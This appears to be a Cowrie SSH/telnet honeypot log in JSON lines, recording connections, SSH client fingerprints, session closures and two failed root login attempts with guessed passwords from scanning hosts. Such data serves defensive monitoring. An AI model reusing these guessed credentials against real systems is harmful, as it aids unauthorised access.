{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":48266,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf8188aadb89","protocol":"ssh","message":"New connection: 171.244.141.86:48266 (159.203.135.109:22) [session: bf8188aadb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:26.142105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:26.147878Z","src_ip":"171.244.141.86","session":"bf8188aadb89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.68157958984375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:26.159657Z","src_ip":"108.179.216.206","session":"dc7a1810092c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.64523196220398,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:26.259765Z","src_ip":"139.162.207.207","session":"2c2b1421618c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:26.398604Z","src_ip":"171.244.141.86","session":"bf8188aadb89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40016,"dst_ip":"159.203.135.109","dst_port":23,"session":"599d8a0f0e73","protocol":"telnet","message":"New connection: 209.126.87.217:40016 (159.203.135.109:23) [session: 599d8a0f0e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:26.610358Z"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:26.691266Z","src_ip":"14.103.112.116","session":"e5f155c9788a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ismail123","message":"login attempt [root/ismail123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:27.438464Z","src_ip":"171.244.141.86","session":"bf8188aadb89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":54572,"dst_ip":"10.17.0.5","dst_port":23,"session":"a85c2291dc7f","protocol":"telnet","message":"New connection: 139.162.207.207:54572 (10.17.0.5:23) [session: a85c2291dc7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:27.536310Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40026,"dst_ip":"159.203.135.109","dst_port":23,"session":"834ef30c11ed","protocol":"telnet","message":"New connection: 209.126.87.217:40026 (159.203.135.109:23) [session: 834ef30c11ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:28.441556Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40042,"dst_ip":"159.203.135.109","dst_port":23,"session":"624871547a70","protocol":"telnet","message":"New connection: 209.126.87.217:40042 (159.203.135.109:23) [session: 624871547a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:28.499006Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:28.695678Z","src_ip":"171.244.141.86","session":"bf8188aadb89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40046,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd3c9bdb1cc6","protocol":"telnet","message":"New connection: 209.126.87.217:40046 (159.203.135.109:23) [session: bd3c9bdb1cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:28.860298Z"}
{"eventid":"cowrie.session.closed","duration":41.71611547470093,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:28.963207Z","src_ip":"139.162.207.207","session":"8c5a09f696d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":54582,"dst_ip":"10.17.0.5","dst_port":23,"session":"aed7ee0197a4","protocol":"telnet","message":"New connection: 139.162.207.207:54582 (10.17.0.5:23) [session: aed7ee0197a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:29.019749Z"}
{"eventid":"cowrie.session.closed","duration":36.86091184616089,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:30.050712Z","src_ip":"139.162.207.207","session":"e86935273bb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":54594,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab1cf0d36de2","protocol":"telnet","message":"New connection: 139.162.207.207:54594 (10.17.0.5:23) [session: ab1cf0d36de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:30.347267Z"}
{"eventid":"cowrie.session.closed","duration":33.61792206764221,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:31.741846Z","src_ip":"209.126.87.217","session":"4b1ddf2945b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.44118523597717,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:33.321173Z","src_ip":"139.162.207.207","session":"c0b0a2098461","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36490,"dst_ip":"159.203.135.109","dst_port":23,"session":"dce09fb7bfb0","protocol":"telnet","message":"New connection: 209.126.87.217:36490 (159.203.135.109:23) [session: dce09fb7bfb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:34.127249Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":50294,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3d5dc24ba4c","protocol":"telnet","message":"New connection: 139.162.207.207:50294 (10.17.0.5:23) [session: a3d5dc24ba4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:34.800720Z"}
{"eventid":"cowrie.session.closed","duration":39.6027295589447,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:40.718544Z","src_ip":"139.162.207.207","session":"4e53faa03873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00184512138367,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:41.437934Z","src_ip":"72.27.54.238","session":"1fcb506f9651","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.534555912017822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:41.690078Z","src_ip":"209.126.87.217","session":"97569fd9d1ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":45582,"dst_ip":"159.203.135.109","dst_port":22,"session":"50ddcf1cd198","protocol":"ssh","message":"New connection: 103.146.202.174:45582 (159.203.135.109:22) [session: 50ddcf1cd198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:41.843396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:41.848077Z","src_ip":"103.146.202.174","session":"50ddcf1cd198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":50306,"dst_ip":"10.17.0.5","dst_port":23,"session":"d60de1bc7e1b","protocol":"telnet","message":"New connection: 139.162.207.207:50306 (10.17.0.5:23) [session: d60de1bc7e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:42.061435Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:42.097862Z","src_ip":"103.146.202.174","session":"50ddcf1cd198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":50308,"dst_ip":"10.17.0.5","dst_port":23,"session":"971239bd62b5","protocol":"telnet","message":"New connection: 139.162.207.207:50308 (10.17.0.5:23) [session: 971239bd62b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:42.187786Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.27.54.238","src_port":39288,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0136e6b77d","protocol":"telnet","message":"New connection: 72.27.54.238:39288 (159.203.135.109:23) [session: fb0136e6b77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:42.622060Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq.123456","message":"login attempt [root/Qq.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:43.128972Z","src_ip":"103.146.202.174","session":"50ddcf1cd198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:44.380921Z","src_ip":"103.146.202.174","session":"50ddcf1cd198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43258,"dst_ip":"159.203.135.109","dst_port":23,"session":"a97f0040bd7f","protocol":"telnet","message":"New connection: 209.126.87.217:43258 (159.203.135.109:23) [session: a97f0040bd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:44.609526Z"}
{"eventid":"cowrie.session.closed","duration":34.181522607803345,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:45.512055Z","src_ip":"209.126.87.217","session":"c12b6144a341","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.35846209526062,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:45.854224Z","src_ip":"209.126.87.217","session":"93f106249f9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":52276,"dst_ip":"10.17.0.5","dst_port":23,"session":"5163acc5db14","protocol":"telnet","message":"New connection: 139.162.207.207:52276 (10.17.0.5:23) [session: 5163acc5db14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:47.612781Z"}
{"eventid":"cowrie.session.closed","duration":120.00156545639038,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:48.121289Z","src_ip":"42.114.201.41","session":"fc7b7a72e00a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.202.66.130","src_port":45714,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb47b916d93f","protocol":"telnet","message":"New connection: 106.202.66.130:45714 (10.17.0.5:23) [session: cb47b916d93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:48.152242Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":52290,"dst_ip":"10.17.0.5","dst_port":23,"session":"6204dcd72c03","protocol":"telnet","message":"New connection: 139.162.207.207:52290 (10.17.0.5:23) [session: 6204dcd72c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:48.164469Z"}
{"eventid":"cowrie.session.closed","duration":31.242565631866455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:48.323653Z","src_ip":"209.126.87.217","session":"3575e097e687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43260,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff937acdb55","protocol":"telnet","message":"New connection: 209.126.87.217:43260 (159.203.135.109:23) [session: 1ff937acdb55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:48.499728Z"}
{"eventid":"cowrie.session.closed","duration":32.628812313079834,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:48.560874Z","src_ip":"209.126.87.217","session":"ebeeaa5a0a73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":49487,"dst_ip":"159.203.135.109","dst_port":23,"session":"16492e1fcacd","protocol":"telnet","message":"New connection: 42.114.201.41:49487 (159.203.135.109:23) [session: 16492e1fcacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:49.527307Z"}
{"eventid":"cowrie.session.closed","duration":120.0014169216156,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:49.718952Z","src_ip":"42.114.201.41","session":"6b57a546195d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.4375102519989,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:49.725242Z","src_ip":"209.126.87.217","session":"c82655071c48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.44687366485596,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:50.647922Z","src_ip":"139.162.207.207","session":"47fcdad7211f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00119304656982,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:50.718655Z","src_ip":"42.114.201.41","session":"95ed987bbbeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":24721,"dst_ip":"159.203.135.109","dst_port":23,"session":"791352831f7c","protocol":"telnet","message":"New connection: 42.114.201.41:24721 (159.203.135.109:23) [session: 791352831f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:51.234263Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":4253,"dst_ip":"159.203.135.109","dst_port":23,"session":"12000853708f","protocol":"telnet","message":"New connection: 42.114.201.41:4253 (159.203.135.109:23) [session: 12000853708f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:52.299971Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47820,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee9e8e5fe933","protocol":"telnet","message":"New connection: 209.126.87.217:47820 (159.203.135.109:23) [session: ee9e8e5fe933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:52.822865Z"}
{"eventid":"cowrie.session.closed","duration":34.75753855705261,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:54.045347Z","src_ip":"209.126.87.217","session":"40d0b6584f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47822,"dst_ip":"159.203.135.109","dst_port":23,"session":"abbd72652710","protocol":"telnet","message":"New connection: 209.126.87.217:47822 (159.203.135.109:23) [session: abbd72652710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:55.391746Z"}
{"eventid":"cowrie.session.closed","duration":34.963265895843506,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:55.432621Z","src_ip":"209.126.87.217","session":"22e7bd34519e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.2668821811676,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:56.350480Z","src_ip":"139.162.207.207","session":"c6493c0e8042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47832,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1f58d472f91","protocol":"telnet","message":"New connection: 209.126.87.217:47832 (159.203.135.109:23) [session: b1f58d472f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:56.503557Z"}
{"eventid":"cowrie.session.closed","duration":34.67021298408508,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:56.724112Z","src_ip":"209.126.87.217","session":"a43c3e450224","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47848,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8c57e793859","protocol":"telnet","message":"New connection: 209.126.87.217:47848 (159.203.135.109:23) [session: a8c57e793859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:56.763154Z"}
{"eventid":"cowrie.session.closed","duration":36.711140871047974,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:56.887721Z","src_ip":"209.126.87.217","session":"f0a48c7b0d55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.30930519104004,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:58.348849Z","src_ip":"209.126.87.217","session":"24524e85fa36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.57867479324341,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:59.188908Z","src_ip":"209.126.87.217","session":"599d8a0f0e73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0011932849884,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:59.206685Z","src_ip":"170.82.106.219","session":"9e94727170a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143266201019287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:59.584703Z","src_ip":"209.126.87.217","session":"834ef30c11ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.055789709091187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:11:59.915887Z","src_ip":"209.126.87.217","session":"bd3c9bdb1cc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.561152696609497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:00.060030Z","src_ip":"209.126.87.217","session":"624871547a70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":56610,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cca8a8b639b","protocol":"telnet","message":"New connection: 139.162.207.207:56610 (10.17.0.5:23) [session: 5cca8a8b639b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:00.470850Z"}
{"eventid":"cowrie.session.closed","duration":13.472509622573853,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:01.624577Z","src_ip":"106.202.66.130","session":"cb47b916d93f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54450,"dst_ip":"159.203.135.109","dst_port":23,"session":"31fa98bcedb8","protocol":"telnet","message":"New connection: 209.126.87.217:54450 (159.203.135.109:23) [session: 31fa98bcedb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:02.439340Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56280,"dst_ip":"159.203.135.109","dst_port":23,"session":"45c4ea139c5a","protocol":"telnet","message":"New connection: 185.26.126.47:56280 (159.203.135.109:23) [session: 45c4ea139c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:04.163910Z"}
{"eventid":"cowrie.session.closed","duration":36.773669719696045,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:04.309832Z","src_ip":"139.162.207.207","session":"a85c2291dc7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":53510,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3fd6dea736f","protocol":"ssh","message":"New connection: 45.43.86.48:53510 (10.17.0.5:22) [session: b3fd6dea736f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:04.717619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:04.725071Z","src_ip":"45.43.86.48","session":"b3fd6dea736f","protocol":"ssh"}
